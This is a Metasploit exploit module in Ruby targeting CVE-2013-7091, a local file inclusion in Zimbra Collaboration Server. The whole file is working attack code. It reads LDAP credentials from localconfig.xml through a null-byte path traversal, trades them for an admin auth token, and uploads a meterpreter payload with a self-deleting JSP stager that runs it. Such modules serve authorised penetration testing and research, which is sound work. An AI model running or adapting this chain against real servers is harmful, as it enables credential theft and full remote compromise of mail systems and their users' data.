## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include REXML Rank = GreatRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Zimbra Collaboration Server LFI', 'Description' => %q{ A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged. Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04. }, 'Author' => [ 'rubina119', # Vulnerability discovery 'Mekanismen ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ "CVE", "2013-7091" ], [ "EDB", "30085" ], [ 'URL', "http://cxsecurity.com/issue/WLB-2013120097" ] ], 'Privileged' => false, 'Platform' => ['linux'], 'Targets' => [ [ 'Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => "Dec 06 2013" )) register_options( [ OptPort.new('RPORT', [true, 'The target port', 7071]) ]) register_advanced_options( [ OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"]) ]) end def check uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'v' => "091214175450", 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00" } }) unless res and res.code == 200 return Exploit::CheckCode::Safe end #this response is ~100% gzipped begin text = Rex::Text.ungzip(res.body) rescue Zlib::GzipFile::Error text = res.body end if text =~ /name=\\"zimbra_user\\">";\sa\["(.*)<\/value>/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'v' => "091214175450", 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00" } }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") end print_status("#{peer} - Getting login credentials...") #this response is ~100% gzipped begin text = Rex::Text.ungzip(res.body) rescue Zlib::GzipFile::Error text = res.body end if text =~ /name=\\"zimbra_user\\">";\sa\["(.*)<\/value>/ zimbra_user = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["(.*)<\/value>/ zimbra_pass = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end print_good("#{peer} - Got login credentials!") print_status("#{peer} - Getting auth token...") soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy res = send_request_cgi({ 'uri' => normalize_uri(uri, "/service/admin/soap"), 'method' => 'POST', 'ctype' => 'application/soap+xml; charset="utf-8"', 'headers' => { 'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"', }, 'data' => soap_req }) unless res and res.code == 200 print_status res.body fail_with(Failure::Unknown, "#{peer} - Unable to access service URL") end if res.body =~ /(.*)<\/authToken>/ auth_token = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get auth token") end cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}" print_good("#{peer} - Got auth token!") #the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler #the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/ #the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy! #push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards payload_name = rand_text_alpha(8+rand(8)) stager_name = rand_text_alpha(8+rand(8)) + ".jsp" req_id = rand_text_numeric(2).to_s stager = gen_stager(payload_name) dpayload = generate_payload_exe #upload payload print_status("#{peer} - Uploading .JSP stager and payload") post_data = Rex::MIME::Message.new post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"") post_data.add_part("#{dpayload}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{payload_name}\"") post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") n_data = post_data.to_s n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => n_data, 'cookie' => cookie }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload") end #upload jsp stager post_data = Rex::MIME::Message.new post_data.add_part("#{stager_name}", nil, nil, "form-data; name=\"filename1\"") post_data.add_part("#{stager}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{stager_name}\"") post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") n_data = post_data.to_s n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => n_data, 'cookie' => cookie }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") end print_good("#{peer} - Stager and payload uploaded!") print_status("#{peer} - Stager at #{peer}/downloads/#{stager_name}") print_status("#{peer} - Executing payload!") res = send_request_cgi({ 'uri' => normalize_uri(uri, "downloads", stager_name), 'method' => 'GET', }) end def build_soap_req(zimbra_user, zimbra_pass) xml = Document.new soap_var = "ns1:AuthRequest" xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:ser' => "http://service.emulation.ws.mercury.com", 'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope", 'xmlns:ns1' => "urn:zimbraAdmin", 'xmlns:ns2' => "urn:zimbraAdmin", }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") header = xml.root.elements[1] body = xml.root.elements[2] header.add_element("ns2:context") body.add_element("ns1:AuthRequest") ns1 = body.elements[1] ns1.add_element( "account", { 'by' => "name" }) ns1.add_element("password") ns1.elements["account"].text = "#{zimbra_user}" ns1.elements["password"].text = "#{zimbra_pass}" return xml.to_s end def gen_stager(payload_name) stager = "<%@ page import=\"java.util.*,java.io.*\"%>" stager += " <%" stager += " String uri = request.getRequestURI();" stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);" stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;" stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";" stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);" stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);" stager += " Runtime.getRuntime().exec(\"rm \" + payload);" stager += "%>" return stager end end